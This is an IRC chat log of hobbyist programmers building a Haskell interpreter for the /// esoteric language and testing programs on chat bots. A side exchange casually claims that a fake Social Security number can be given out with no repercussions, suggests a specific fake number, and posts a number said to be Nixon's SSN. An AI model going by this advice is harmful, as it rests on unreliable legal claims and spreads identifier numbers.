the string that is replaced from 20:32:20 excuse me? 20:32:42 /abc/cdefg/ababcde 20:32:59 *Main> run "/abc/cdefg/ababcde/" 20:32:59 cdefgdefgde*** Exception: slashes.hs:(31,0)-(33,23): Non-exhaustive patterns in function toSlash 20:33:01 nice typo handling 20:33:16 -> abcdefgde -> cdefgdefgde 20:33:36 toSlash [] = error "OHGAHGHGHAGH WHAT DOES IT MEAN!! AN ARMY OF SNEEZING WANGS STALKS MY NIGHTMARE" 20:33:41 abc has length 3, so you only need to go back 3-1 20:33:51 Hmm, same error. 20:34:01 wait what 20:34:02 toSlash :: String -> (String,String) 20:34:03 toSlash [] = error "OHGAHGHGHAGH WHAT DOES IT MEAN!! AN ARMY OF SNEEZING WANGS STALKS MY NIGHTMARE" 20:34:06 toSlash ('/':xs) = ("",xs) 20:34:08 toSlash ('\\':x:xs) = is x xs -- curses! foiled again! 20:34:10 toSlash (x:xs) = is x xs 20:34:12 i see no inexhaustive patterns 20:34:14 *non-exhaustive 20:34:54 indeed not 20:34:58 owell 20:34:58 oh 20:35:01 I saved to the wrong place 20:35:02 kekekeke 20:35:16 i was wondering why it accepted my invalid syntax too 20:36:09 -!- psygnisfive has quit (Remote closed the connection). 20:36:18 oerjan: okay, so here's the rule 20:36:38 for further tests, http://oerjan.nvg.org/esoteric/slashes/counter{1,3,4}.sss 20:36:41 After making a replacement, backtrack to position start_of_replacement - length_of_replacement 20:36:45 oerjan: yesno? 20:36:49 (2 is the simple one you already tried) 20:37:09 ehird: terminology confusion 20:37:12 -!- Sgeo has joined. 20:37:22 what do you call the first and second arguments of /// ? 20:37:30 Source, replacement. 20:37:37 but 20:37:38 Replacee, replaceand 20:37:41 length_of_source 20:37:45 oerjan: 20:37:45 Quick Linux question: If I make /home unwritable and owned by root, does that make it as secure as a LiveCD 20:37:54 Sgeo: lol, no. 20:37:57 also, + 1 at end 20:38:11 oerjan: clearer: 20:38:23 After making a replacement, backtrack to position start_of_where_replacement_begins_in_string - length_of_replacement_used 20:38:30 + 1 20:38:37 nope, length_of_source_used 20:38:40 ah 20:39:18 ok, need to mod replace to tell me where the replacement begins :-P 20:39:27 !slashes /abc/cde/ababababcde 20:39:27 cdedededede 20:39:28 I'll just make it return (beforeReplacement,afterAndIncludingReplacement) 20:39:59 ehird, how so? 20:40:28 Is it at least close enough? 20:40:33 Sgeo: What you do to make it as secure as a LiveCD is to make your entire filesystem read-only and unioned with a RAM filesystem. 20:40:33 ehird: i repeat my suggestion to use a zipper 20:40:35 Sgeo: what are you trying to do 20:40:44 oerjan: I've never understood 'em. 20:40:46 (reverse of previous, remainder) 20:40:47 ;) 20:41:17 *Main> replace "abc" 3 "def" "xxabc" 20:41:17 ("xb","") 20:41:19 Er. 20:41:28 ehird, have a secure OS that I can use when I need to do something with sensitive information 20:41:30 ehird: let's say you've done the first match of that /abc/cde/ababababcde 20:41:42 Sgeo: you're 20, why are you handling FBI documents? 20:41:53 ehird, I'm handling my social security number 20:41:56 then your zipper state is then ("bababa", "cdede") 20:42:04 Sgeo: encrypt it with GPG, put it in ~. 20:42:04 done 20:42:16 Sgeo: also, you think that thing's secure? 20:42:21 err, you give it to like a thousand businesses 20:42:46 Better that than 1000 businesses and one hacker 20:42:57 what's the hacker going to do 20:42:58 ehird: You're only legally mandated to give it to, lessee... 20:43:03 give it to ANOTHER BUSINESS?! 20:43:05 The IRS, your employer... I think that's it. 20:43:06 oh woe! 20:43:11 pikhq: yeah, but in practice... 20:43:15 Maybe some other government agency that I'm forgetting. 20:43:19 also, your employer is still a huge leak 20:43:33 ehird, in every other instance, you can give out a fake one with no repercussions. 20:43:47 I already gave the college my real one 20:44:08 pikhq: OTOH, not many people do. 20:45:02 argh, why isn't thsi code working 20:45:04 is it because it hates me 20:45:06 -!- tombom_2 has left (?). 20:45:51 * AnMaster wonders why erlang think doing Node#bfn.extra#bfe_loop.input is a syntax error before the second # 20:46:32 * pikhq recommends 666-69-0666 20:46:41 ehird: oh i just realized something 20:46:48 \ 20:46:48 /foo 20:46:48 /foo/bar 20:46:53 is _not_ one example 20:46:56 it's three 20:46:59 o 20:47:05 :-D 20:47:10 each of which are an incomplete program which does nothing 20:47:14 *is 20:47:18 pikhq, if we ever go to the same college, and I end up using that.. 20:47:29 Sgeo: THEN THE WORLD WILL EXPLOOOOOOOOOOOOOODE!! 20:47:37 ((And turned into an adult-only area.)) 20:47:47 ((Where you will have to give proof of your adulthood. Or shut down your store!)) 20:47:54 I'm just thinking it could cause problems for the college 20:48:00 otoh, that could be fun 20:48:00 Sgeo: Better still, ask them which law requires that you give them your SSN. 20:48:20 Also, there are a few cases where two people have been assigned the same SSN. 20:48:26 oO 20:48:34 Wonder what Dubya's SSN is. 20:48:44 ....I only have 9GB free? 20:50:24 /abc/bcab/aabcc -> abcabc -> bcababc -> bcabbcab 20:50:29 not quite working 20:50:36 * ehird reads his replace function v e r y c a r e f u l l y 20:50:44 ehird: Dunno, but I know Nixon's. 567-68-0515. 20:50:52 pikhq: yeah 20:53:58 Deewiant: your function broke catastrophically when i modded it :< 20:54:07 replace :: String -> Int -> String -> String -> (String,String) 20:54:07 replace _ _ _ "" = ("","") 20:54:08 replace src srcLen dest s@(x:xs) = 20:54:08 Don't mismod it :-P 20:54:10 let (before,after) = splitAt srcLen s 20:54:12 in if before == src 20:54:14 then ("",dest ++ after) 20:54:16 else let (before',after') = replace src srcLen dest after 20:54:18 in (x:before',after') 20:54:20 i can't see the flaw! :) 20:54:22 *:( 20:54:46 WoG is a bit less enjoyable perhaps after seeing most of the solutions 20:54:49 ehird: Don't call replace with after, call it with xs 20:54:57 O 20:55:03 ... didn't you do that Deewiant? 20:55:11 No, I called it with xs. 20:55:15 Huh. Kay. 20:55:20 Works now ^_____________________^;;;;;;;;; 20:55:31 oerjan: 20:55:32 *Main> replace "abc" 3 "def" "xabc" 20:55:32 ("x","def") 20:55:37 Otherwise /abc/foo/aabc wouldn't work, for instance. 20:55:37 so we backtrack to |def, right? 20:55:39 where | = us 20:55:41 Since it'd jump to "c". 20:57:57 *Main> doReplacements "abc" "def" "aaabcxxabcxxdefabc" 20:57:57 "aadefxxdefxxdefdef" 20:57:59 Sucks ess. 20:58:15 oerjan: link to latest counter? 20:58:18 http://oerjan.nvg.org/esoteric/slashes/counter3.sss? 20:58:31 counter4.sss is the latest 20:58:45 oerjan: ... but not the most practical, it seems 20:58:49 :D 20:59:01 http://oerjan.nvg.org/esoteric/slashes/counter4.sss 20:59:01 er 20:59:04 /Only / and \ from this point on/ 20:59:06 a patent lie 20:59:08 there's spaces and | 20:59:10 and newlines 20:59:17 after the substitutions prior to that point 20:59:48 oerjan: Congrats; your program now runs in... well, it's not constant time; it increases each time to the increased length of string to scan. But it's a lot less of an increase. 20:59:59 ah 21:00:01 oerjan: What buffering does your interp use? Regular line-based buffering? 21:00:11 That's what I'm doing atm. 21:00:11 -!- asiekierka has quit (Read error: 110 (Connection timed out)). 21:00:25 actually i put it on character buffering recently for debugging 21:00:40 Which would you suggest? Since it's now infallably perfect. 21:00:49 (every print statement that means) 21:01:14 it would be nice for it to work with output that contains no newlines, and is infinite 21:01:23 (See that counter4.sss) 21:01:53 also, for infallably perfect please try http://oerjan.nvg.org/esoteric/slashes/bct.sss which is what made perl crash in the first place 21:01:57 oerjan: 21:01:58 [ehird:~/Code/scraps/2009-05/slashes] % time ./slashes < counter3.sss > f 21:01:59 ^C 21:02:01 ./slashes < counter3.sss > f 1.25s user 0.03s system 99% cpu 1.284 total 21:02:03 [ehird:~/Code/scraps/2009-05/slashes] % wc -l f 21:02:05 945 f 21:02:07 Not bad. 21:02:23 The first 100 or so lines swim past immediately on the terminal, too. 21:02:24 counter3.sss is about as efficient as counter2.sss, just a minor variation 21:02:42 Also, infinite output with no newlines; roger that. 21:03:11 ehird: what happens with the bct.sss ? 21:03:35 first tell me the expected output 21:03:37 then I'll run it 21:03:43 it crashed on me before i got to check if it's any good 21:03:45 lessee 21:04:18 \//\/\ endlessly repeated, i think is what i intended 21:05:27 it's supposed to check the program looping of the 100101 program (no data handling yet) 21:06:00 and 0 -> /, 1 -> \ 21:06:31 [ehird:~/Code/scraps/2009-05/slashes] % time ./slashes counter3.sss > f 21:06:31 ^C 21:06:32 ./slashes counter3.sss > f 0.49s user 0.54s system 99% cpu 1.034 total 21:06:34 [ehird:~/Code/scraps/2009-05/slashes] % wc -l f 21:06:36 368 f 21:06:37 -!- M0ny has quit ("Read error: 182 (Connection reset by beer)"). 21:06:38 bit of a regression 21:06:45 [ehird:~/Code/scraps/2009-05/slashes] % time ./slashes counter3.sss > f 21:06:45 ^C 21:06:47 ./slashes counter3.sss > f 2.41s user 3.09s system 99% cpu 5.506 total 21:06:49 [ehird:~/Code/scraps/2009-05/slashes] % wc -l f 21:06:49 the previous test was that counter4.sss, which only showed that the er, _slashes_ program looping worked 21:06:51 888 f 21:06:59 oerjan: the regression is due to outputting lots and lots of *s individually 21:07:00 (as opposed to the BCT program) 21:07:11 oerjan: doesn't matter though does it 21:07:14 it's still wicked fast 21:07:19 bct time 21:07:26 % ./slashes bct.sss 21:07:27 \/ 21:07:28 it then hangs 21:07:51 oerjan: how did you add it to ze egobots? 21:08:16 with !addinterp slashes perl http://... 21:08:21 ah 21:08:23 -!- Judofyr has joined. 21:08:23 unfortunately there is no haskell in it 21:08:27 hey GregorR! 21:08:41 GregorR: sudo apt-get install ghc on EgoBot, please. 21:08:45 I'll be adding a new interpifoo. 21:08:47 ehird: well, at least it didn't crash at the same point for you 21:08:53 you actually got input 21:08:55 GregorR: how do I add a compiled interp btw 21:08:56 *output 21:08:59 oerjan: yep 21:09:03 and it doesn't crash 21:09:03 just hang 21:09:18 total lines: 54, includign whitespace and comments (all one of them takes its own line) 21:09:21 *including 21:09:24 well, plus the 3 line header 21:09:37 in fact it's the correct output for the first iteration 21:09:41 % ./slashes slashes 21:09:41 ???? 21:09:42 $?8__PAGEZERO?__TEXT??__text__TEXT@#?? 21:09:44 Quine! 21:09:47 Wellalmost. 21:09:57 % ./slashes slashes.hs 21:09:57 -- An interpreter for the 21:10:34 !slashes http://oerjan.nvg.org/esoteric/slashes/counter4.sss 21:10:36 oerjan: yay, it uses constant memory on /// 21:10:50 hmph 21:10:54 % ./slashes counter4.sss 21:10:54 \/\\/\\\/\\\\/\\\\\/\\\\\\/\\\\\\\/\\\\\\\\/\\\\\\\\\/\\\\\\\\\\/\\\\\\\\\\\/\\\\\\\\\\\\/\\\\\\\\\\\\\/\\\\\\\\\\\\\\/\\\\\\\\\\\\\\\/\\\\\\\\\\\\\\\\/\\\\\\\\\\\\\\\\\/\\\\\\\\\\\\\\\\\\/\\\\\\\\\\\\\\\\\\\/\\\\\\\\\\\\\\\\\\\\/\\\\\\\\\\\\\\\\\\\\\/\\\\\\\\\\\\\\\\\\\\\\/\\\\\\\\\\\\\\\\\\\\\\\/\\\\\\\\\\\\\\\\\\\\\\\\/\\\\\\\\\\\\\\\\\\\\\\\\\/\\\\\\\\\\ 21:10:59 and so on 21:11:01 it's a lot slower than counter3 21:11:04 a lot lot slower 21:11:08 EgoBot doesn't handle output without newlines :( 21:11:17 although it gets faster as it goes on; or rather it doesn't, but it seems like it does, because of its outputting a lot of \s in succession 21:11:27 heh :) 21:11:40 yes, the /\ only coding is much more verbose 21:11:48 [ehird:~/Code/scraps/2009-05/slashes] % ./slashes 21:11:48 slashes: No filename specified. 21:11:50 [ehird:~/Code/scraps/2009-05/slashes] % ./slashes /dev/stdin 21:11:52 / 21:11:54 slashes: OHGAHGHGHAGH WHAT DOES IT MEAN!! AN ARMY OF SNEEZING WANGS STALKS MY NIGHTMARE 21:11:57 The best error reporting system, methinks. 21:12:24 that may not be strictly according to spec, but who cares 21:12:33 it is 21:12:46 there is no program with unmatched /s 21:12:53 "If it's a /, characters are taken up to the next /" 21:12:54 "The program ends when there is no longer enough of it to execute, e.g.:" 21:13:07 and then the three examples 21:13:08 oerjan: i don't think that's a valid interpretation :P 21:13:18 um that's a quote 21:13:24 from the /// page 21:13:25 right 21:13:25 but 21:13:31 oerjan: the program \ outputs a \ for me 21:13:34 !slashes / 21:13:35 do you think that's right :P 21:13:40 !slashes a/a 21:13:41 a 21:13:42 nope 21:13:49 !slashes /a/b 21:13:59 !slashes a/b/c 21:14:00 a 21:14:01 hm 21:14:05 oerjan: okay then 21:14:26 oerjan: I think that an unmatched // is invalid, though. 21:14:28 But I'll do 21:14:30 run "\\" = return () 21:14:31 !slashes \ 21:14:34 !slashes \\ 21:14:40 oh right 21:14:43 the egobot bug 21:14:44 % ./slashes fibonacci.sss 21:14:44 */*/**/***/*****/********/*************/*********************/**********************************/******************************************************* 21:14:48 GregorR, !!!! 21:14:51 Takes 0.009s. 21:14:55 \m/ 21:15:19 thuemorse takes from 0.012-0.016 21:15:45 oerjan: oh, dear 21:15:49 oh, nevermind 21:15:54 -!- kar8nga has joined. 21:15:55 what? 21:16:03 oerjan: i got a hang after the first * on counter1.sss, but another line came and I realised it was just dog slow 21:16:03 :D 21:16:09 less than 1 line/sec 21:16:11 um 21:16:15 oh 21:16:19 source of that counter? 21:16:31 wikipage. 21:16:32 I want to see that epic program 21:16:38 erm 21:16:38 http://oerjan.nvg.org/esoteric/slashes/counter1.sss 21:16:40 it's not very epic 21:16:47 http://oerjan.nvg.org/esoteric/slashes/counter3.sss current sane version 21:16:57 hey wait oerjan 21:17:02 your interp is faster than mine on counter1 21:17:10 why are you using \ so much btw 21:17:16 was afraid of that 21:17:17 I mean literal ones 21:17:23 AnMaster: where? 21:17:23 oh wait 21:17:26 hmm 21:17:26 wtf 21:17:29 oerjan: why is it faster? 21:17:34 oerjan, http://oerjan.nvg.org/esoteric/slashes/counter1.sss for example 21:17:39 my algorithms are better, haskell is faster than perl, I used your optimization... 21:17:46 or in http://oerjan.nvg.org/esoteric/slashes/counter3.sss 21:17:54 less there in that 21:17:54 but perl has heavily optimized regexes 21:18:04 ehird: "Haskell is faster than Perl"? 21:18:04 which is what my interpreter uses most 21:18:11 Deewiant: GHC is,. 21:18:13 *. 21:18:20 unfortunately they break on the large programs :( 21:18:21 If you're doing string processing, I'm not at all surprised that Perl + arrays beats GHC + linked lists 21:18:21 oerjan: right, but there's not much more to optimize than my code. 21:18:25 depends on what exactly you are doing I guess 21:18:32 Deewiant: The string processing is mostly linked-listy. 21:18:40 ehird: That doesn't mean it's fast. 21:18:42 There's not really anything much bytestring about it. 21:18:46 Deewiant, can't you do arrays in GHC? 21:18:47 Arrays tend to be faster even for linked-listy stuff. 21:18:48 :P 21:18:48 Besides, that should be a memory issue. 21:18:51 AnMaster: Yes, you can. 21:18:52 AnMaster: You can do ByteStrings. 21:18:55 And also arrays. 21:18:56 ah 21:18:59 But ByteStrings are better. 21:19:40 ehird: Some 8-10 bytes (?? I forget how many exactly) per char does not lead to speed 21:19:54 Deewiant: That's memory. 21:20:00 ehird: That's CPU cache. 21:20:04 True enough. 21:20:09 I can switch to [Int]. 21:20:15 As a bonus, linked lists aren't contiguous. 21:20:24 [Int] is the same size as [Char], isn't it? 21:20:27 * ehird stabs Deewiant. 21:20:29 I'd use [Word8]. 21:20:32 I'll use a bloody ByteString. 21:20:48 A strict bytestring, even./ 21:20:49 AnMaster: the fundamental reason for backslashes is so that you can copy things 21:20:59 oerjan, hm ok 21:21:19 the looping happens by program self-replication, after all 21:21:45 Deewiant, go write a slashes interpreter for Linux x86_64 in asm! 21:21:47 :P 21:21:55 Grr, you can't pattern match on bytestrings. 21:22:05 * AnMaster wonders if a slashes compiler make any sense. 21:22:07 I'm not particularly interested in slashes. 21:22:24 And I'm done with asm for the time being. 21:22:27 ok 21:22:30 AnMaster: too self-modifying 21:22:36 oerjan, yeah 21:23:05 an optimising and program folding compiler would work 21:23:13 * AnMaster waits for oerjan to figure that out 21:23:27 nah that's not my sort of thing 21:24:04 huh? 21:24:26 optimising compilers 21:24:28 basically what ick does when given that command line option I forgot 21:25:28 *Main> run (B.singleton forwardSlash) 21:25:28 hi 21:25:30 if program is deterministic and uses no input: run program, save output. Write a shell script wrapper for it. 21:25:30 woot 21:25:33 ;P 21:25:46 AnMaster: also that newer counter with less backslashes is quite deceptive, because i have just temporarily abbreviated <\\>\\\ to | :D 21:26:01 oerjan, ouch 21:26:25 the older one at least used | internally, though inefficiently 21:26:28 so... \| 21:26:29 is 21:26:35 um 21:26:41 \<\\>\\\ 21:26:41 | is like a prefix really 21:26:54 it "quotes" the next character 21:26:59 yeah 21:27:10 !slashes http://oerjan.nvg.org/esoteric/slashes/counter3.sss 21:27:13 * 21:27:19 is that expected? 21:27:24 yes 21:27:36 it sends the next lines as DCC CHAT 21:32:31 *Main> run $ B.pack [backSlash,backSlash,97,10] 21:32:32 \a 21:32:34 getting there 21:34:55 oerjan: one thing's for sure 21:35:02 this bytestring haskell version will kick the perl interp's ass :) 21:35:04 >:) 21:35:41 heh 21:35:46 -!- GregorR-L has joined. 21:37:58 oerjan: so, you think that if you reach EOF in /foo, you stop executing? 21:38:13 now *that's* something haskell 21:38:15 's not attuned to 21:38:22 i can't even exitSuccess 21:38:24 since I'm out of IO 21:38:51 Maybe is your friend? 21:38:56 oerjan: what about /foo\ 21:39:00 same result? 21:39:03 lawl @ \ 21:39:04 and yeah, Maybe sounds right 21:39:07 sure 21:39:10 GregorR-L: no, it's '\' eof 21:39:11 :-P 21:39:22 Ohhhhhhhhhhh lehm 21:40:41 O(n) cons is analogous to (:) for lists, but of different complexity, as it requires a memcpy. 21:40:44 OSHI— 21:40:48 time to restructure ::::)))))) 21:41:11 just have to track current string, trivial 21:43:11 it sends the next lines as DCC CHAT 21:43:16 that never happened? 21:43:21 you didn't accept? 21:43:24 ah wait 21:43:25 <*status> DCC Chat Bounce (EgoBot): Timeout waiting for incoming connection [192.168.0.64:59319] 21:43:32 * AnMaster tries to figure out the reason 21:43:39 possibly the IP! 21:45:12 Uhh, you shouldn't have an incoming connection, you should be establishing an outgoing connection to EgoBot. 21:45:22 And yes, even though some people have DCC problems, I still think this is the best solution :P 21:48:29 ehird: hm and yeah, thue-morse prints all at the end 21:48:45 !bf http://esoteric.sange.fi/brainfuck/bf-source/prog/beer.b 21:48:47 99 Bottles of beer on the wall 21:49:09 There, I increased the limit to be enough for 99 bottles :P 21:50:07 GregorR-L: it would be nice if you could also accept long lines, it's sort of a tradition to do infinite lazy programs on bots here 21:50:19 s/long/infinite/ 21:50:44 What do you mean by "infinite lines" ... 21:50:56 GregorR-L: for(;;)putchar('a') 21:51:19 That's an infinite line alright :P 21:51:23 ^ul ( *)(~:S(*)*~:^):^ 21:51:24 * ** *** **** ***** ****** ******* ******** ********* ********** *********** ************ ************* ************** *************** **************** ***************** ****************** ******************* ******************** ********************* ********************** *********************** ************************ ...too much output! 21:51:24 Uhh, you shouldn't have an incoming connection, you should be establishing an outgoing connection to EgoBot. 21:51:26 err 21:51:27 no idea 21:51:40 GregorR-L: ^ example 21:51:57 Oh, just tell you when it gets cut off? 21:52:04 !befunge98 'A,a,'A,@ 21:52:04 A 21:52:24 GregorR-L: for a start, actually print the line 21:52:41 !unlambda ( *)(~:S(*)*~:^):^ 21:52:41 ./interps/unlambda/unlambda.bin: file /tmp/input.21406: parse error 21:52:48 Well that's unique :P 21:52:49 !slashes http://oerjan.nvg.org/esoteric/slashes/counter4.sss 21:52:57 that doesn't print anything 21:53:04 It does print (truncated) very long lines. 21:53:08 because there are no newlines in it 21:53:14 Even with no newlines. 21:53:17 hm... 21:53:20 Or at least, it's certainly supposed to :P 21:53:28 !underload ( *)(~:S(*)*~:^):^ 21:53:37 Well that ain't right. 21:54:09 OHHH, that program is an infinite loop. 21:54:16 It'll get cut off before it accepts any input. 21:54:23 No shit. 21:54:31 An infinite loop is the only way to output infinite characters. 21:54:32 * GregorR-L doesn't speak underload :P 21:54:32 << PRIVMSG #esoteric :!befunge98 'A,a,'A,@ 21:54:32 >> :EgoBot!n=EgoBot@codu.xen.prgmr.com PRIVMSG #esoteric :+A 21:54:32 >> :EgoBot!n=EgoBot@codu.xen.prgmr.com PRIVMSG AnMaster :DCC CHAT chat 1404135913 59867 21:54:35 hm ok 21:55:04 GregorR-L: but it doesn't output slowly, so why shouldn't it reach the buffer limit first, and get printed? 21:55:25 oerjan: It always waits for either the program to complete or a newline to be printed :P 21:55:29 GregorR, bouncer seems to mangle it somehow 21:55:41 GregorR-L, fixed the \ bug yet? 21:55:41 well that's what we don't want, then 21:55:43 !slashes \\ 21:55:47 !slashes \\\ 21:55:49 !slashes \\\\ 21:55:49 \ 21:55:52 no 21:55:54 you didn't 21:56:01 WTFBBQ? That's a weird one. 21:56:08 !sh echo '\\' 21:56:09 \ 21:56:10 !slashes /foo/ba\\\\r/foo 21:56:10 bar 21:56:19 that should output ba\r 21:56:20 * GregorR-L looks in to it. 21:56:21 not bar 21:56:27 !perl print "\\" 21:56:28 and oerjan said it wasn't in his code 21:56:30 it worked locally 21:56:45 ok. Seems the perl one is broken? 21:56:57 actually the sh one too 21:56:57 above 21:57:01 !sh echo '\\' 21:57:01 \ 21:57:05 that is plain wrong indeed 21:57:23 !sh echo "\\"hi there" 21:57:23 /tmp/input.21670: line 1: unexpected EOF while looking for matching `"' 21:57:34 oh well 21:57:38 !sh echo "\\" 21:57:46 !befunge98 'A,a,'A,@ 21:57:47 A 21:57:53 o_O 21:58:20 !sh ghc 21:58:23 ghc-6.8.2: no input files 21:58:39 !befunge98 'A,a,'A,@ 21:58:39 A 21:58:43 !sh cabal --help 21:58:44 !sh ghc -e 'putStrLn "hello"' 21:58:44 /tmp/input.21837: line 1: cabal: command not found 21:58:46 hello 21:58:49 * DCC CHAT to EgoBot lost (Remote host closed socket). 21:58:51 hm 21:58:53 kay 21:59:09 AnMaster: That should be after you retrieved all the data. 22:01:00 GregorR-L, well I generally blanket ignore CTCP and DCC. Why? Because it is irritating when you wake up in the morning and see a list of pending (and timed out) DCCs with spambots that tried to DCC you during the night. 22:01:37 Well that's too bad. DCC is a much-better way to handle long output, because I don't have to worry about flooding and users don't have to wait for lots of output. 22:01:43 Go run mycology and enjoy :P 22:03:08 meh. *writes a white list that overlays the blacklist* 22:03:58 -!- puzzlet has quit (Read error: 60 (Operation timed out)). 22:15:53 Is there some sort of limit for lots-of-output in the DCC chat thing too? 22:16:01 16K 22:16:23 No speed limits though, just a flat total limit. 22:18:53 fungot: Are you disappointed that the other bots know all kinds of DCC tricks and bazillion languages and whatnot? 22:18:54 fizzie: ( ( oh yeah what)) 22:20:10 EgoBot doesn't speak almost-English though. 22:20:13 poor fungot :( 22:20:13 oerjan: ( ( they have a lot 22:20:37 what? X just crashed. Someone give me a few lines of context above " EgoBot doesn't speak almost-English though." please 22:20:37 !echo I WILL DEFEAT FUNGOT MUAHAHHAHAHAHAHAHAHAHHAHHHHAH 22:20:39 ^style 22:20:40 I WILL DEFEAT FUNGOT MUAHAHHAHAHAHAHAHAHAHHAHHHHAH 22:20:40 Available: agora alice c64 darwin discworld europarl ff7 fisher* ic irc jargon lovecraft nethack pa speeches ss wp youtube 22:20:47 (since I just reconnected to bouncer) 22:20:53 fungot: Oh yeah what 22:20:54 ehird: that i understood that you could 22:20:59 fungot: be a green piece of food 22:21:00 ehird: i need your help to get this treadmill inside and it my husband laughs everything you name it provided for us even after september eleven 22:21:00 AnMaster: fungot is feeling down because EgoBot supports more languages. 22:21:01 GregorR-L: and you can chat while you play oh god they've got euka and spades and hearts and it it 22:21:09 fungot: even after september eleven 22:21:09 ehird: oh let's see sigh i didn't think it was 22:21:14 fungot: i see i see 22:21:15 ehird: excuse me but anyway um i mean 22:21:18 fungot: right 22:21:19 ehird: ( ( really uh)) did we look at each other every now and then a 22:21:19 GregorR-L, how was that determined? 22:21:24 fungot: really, did we? 22:21:25 ehird: ' cause think about it laughter laughter who knows maybe somebody else did um i'm kind of a 22:21:30 fungot: laughter laughter! 22:21:31 AnMaster: Well, fungot speaks almost-English. 22:21:32 GregorR-L: um but but like i said nine one one they was aware of um 22:21:38 and why is the damn spell checker suddely set to Afrikaans!? 22:21:42 * AnMaster switches it to English 22:21:43 X-D 22:22:04 ehird: i redesigned bct.sss to use about half the size, now it runs in perl but gives completely wrong output. 22:22:04 My guess: Because Afrikaans is, in the English alphabet, the first language :P 22:22:20 GregorR, it complained it couldn't find the word list for Afrikaans. 22:22:21 oerjan: that's nice; my interp will still rule. 22:22:25 for every letter I wrote 22:22:33 AnMaster: And? 22:22:36 (that is because I don't have it installed duh) 22:22:43 GregorR, but yeah would make sense 22:22:47 ehird, and what? 22:23:07 ehird: see you tomorrow then :) 22:23:12 What's that gotta do with what GregorR-L said 22:23:13 it usually starts with the one in LANG. Or English. Seems a bit random. 22:23:28 -!- oerjan has quit ("Good night all"). 22:23:49 What's that gotta do with what GregorR-L said <-- what has what got to do with it? 22:23:54 it should be $LANG, fallback to C. 22:24:26 GregorR, LANG is sv_SE.UTF-8. But I always switch to English after starting client since I mainly chat in English channels. 22:33:12 hm 22:33:37 GregorR, will the current hostmask change? 22:33:42 or will it stay the same 22:33:42 that is 22:33:50 EgoBot!n=EgoBot@codu.xen.prgmr.com 22:34:38 !befunge98 'A,a,'A,@ 22:34:39 A 22:34:54 ok lets see.. 22:34:55 !befunge98 'A,a,'A,@ 22:34:55 A 22:34:56 AnMaster: It will change to codu.org soon. 22:35:04 GregorR, meh 22:35:19 anyway I added the white list for it now 22:35:47 GregorR-L, but why does it close as "connection lost" instead of the usual "connection closed" 22:35:54 are you sure you follow the protocol? 22:36:14 I'm sure I don't. 22:36:19 When I'm done, I just close the port. 22:36:29 GregorR-L, can you do it the proper way, whatever that is 22:36:40 If I can figure out what the proper way is, probably :P 22:38:55 -!- kar8nga has quit (Remote closed the connection). 22:40:59 There seems to be some magical DCC CLOSE message, which isn't documented anywhere on Earth :P 22:42:22 if you saw a file ending in .es, what would you think it was? 22:42:38 A Spanish file. 22:42:42 :P 22:42:50 GregorR, it seems to be "EMCAScript" says wikipedia. 22:42:52 heh 22:42:57 better known as javascript 22:43:07 Oh, sure. 22:43:07 GregorR, when it comes to IRC, few things are well documented. 22:43:51 The problem is that the non-browser-based ECMAScript-land is quite fragmented, so a .es file is probably an ECMAScript file for a very particular interpreter. 22:44:00 yeah 22:44:48 I prefer to stick to languages where you have a high level of cross-implementation portability. Or possibly just one implementation 22:45:27 !sh echo 'Hello'; echo 'World' 22:45:28 Hello 22:45:40 !sh echo -n 'Hello'; echo 'World' 22:45:40 HelloWorld 22:45:43 Well, that wasn't how it's done apparently :P 22:45:44 well, better 22:45:54 GregorR, use tcp dump 22:46:01 on a "real" connection 22:46:14 Gawd that's a lame way to do this, but OK :P 22:46:53 -!- tombom has quit ("Peace and Protection 4.22.2"). 22:47:00 GregorR, it is a reasonable way 22:47:03 when it comes to IRC 22:47:07 also what does the -L mean 22:47:28 In what context? 22:47:34 your nick 22:47:38 Oh, laptop 22:47:41 ah 22:48:29 AnMaster: Unblock DCC from me so I can DCC CHAT you :P 22:48:37 kay. sec 22:48:38 -!- zzo38 has joined. 22:49:36 Netcat does not use the shell functions in Linux. So if I get Linux, I will need to write interactive netcat. 22:49:47 done, added exception for GregorR!n=gregor@65.183.185.209 22:49:50 GregorR, ^ 22:49:56 ....... wrong me :P 22:50:04 zzo38: What a strange statement. 22:50:22 GregorR-L, done. Added exception for GregorR-L-who-can't-ssh-to-desktop!n=gregor@c-76-105-254-150.hsd1.or.comcast.net 22:50:41 I don't want to get wireshark running on my desktop over SSH, that's a PITA. 22:50:54 * DCC CHAT connection established to GregorR-L [192.168.0.64:55613] 22:50:54 * DCC CHAT to GregorR-L lost (Remote host closed socket). 22:50:55 there 22:50:59 -!- Sgeo has quit (Read error: 104 (Connection reset by peer)). 22:51:00 ? 22:51:11 <*status> DCC Chat Bounce (GregorR-L): Timeout waiting for incoming connection [192.168.0.64:37086] 22:51:11 <*status> DCC Xfer Bounce (GregorR-L): Socket error [Cannot assign requested address] 22:51:12 Well that didn't work properly at all :P 22:51:13 huh? 22:51:21 Can you write 99 bottles of beer in Furryscript? It is not indended for stuff like that at all. But I think I have heard it sone in sendmail also, which isn't designed for that either. 22:51:48 Never heard of Furryscript, although it sounds awesome :P 22:51:53 GregorR-L, turned off the bounce 22:52:02 !befunge98 'A,a,'A,@ 22:52:02 A 22:52:11 * DCC CHAT connection established to EgoBot [64.62.173.65:10002] 22:52:11 * DCC CHAT to EgoBot lost (Remote host closed socket). 22:52:12 hm 22:52:15 and no bounce 22:52:37 Connection refused :P ... I'll try a different tact. 22:52:43 GregorR-L, connection timed out to you 22:52:44 .... 22:52:47 (With a different user, namely GregorR ) 22:52:49 fix firewall 22:53:04 The sendmail codes is at: http://99-bottles-of-beer.net/language-sendmail-588.html the Furryscript codes is at: http://zzo38computer.cjb.net/furry/scripts/beer.txt 22:53:05 I did a passive-chat to you because I don't have access to the router here, I can't poke any holes. 22:53:46 GregorR-L, I'm behind double NAT and poking holes is a PITA. 22:54:04 The Furryscript codes sort of looks like it was designed for 99 bottles of beer, but actually, it wasn't. I'm just using the built-in function in different ways. 22:54:06 Double NAT, wow :P 22:54:07 GregorR, plus highly dynamic ip 22:54:19 GregorR-L, for complex reasons. 22:54:44 zzo38: But what IS furryscript? 22:54:51 GregorR, anyway, I don't think my client knows what passive DCC is 22:55:02 Souper :P 22:55:04 the bouncer might, but not the client 22:55:19 GregorR, passive dcc according to which model 22:55:29 X-Chat :P 22:55:34 Furryscript is design for generator of things such as D&D adventure idea, video game names, etc. Look at it in my web-site. Also look at the individual script codes you can see how it is supposed to work. 22:55:48 GregorR, that model isn't supported here at all. 22:56:15 For example, the ARG command actually reads a number from the category 0( but it was designed for multiple parameter codes inside of strings, such as | | > a dynamic number of arguments. 22:56:28 zzo38, 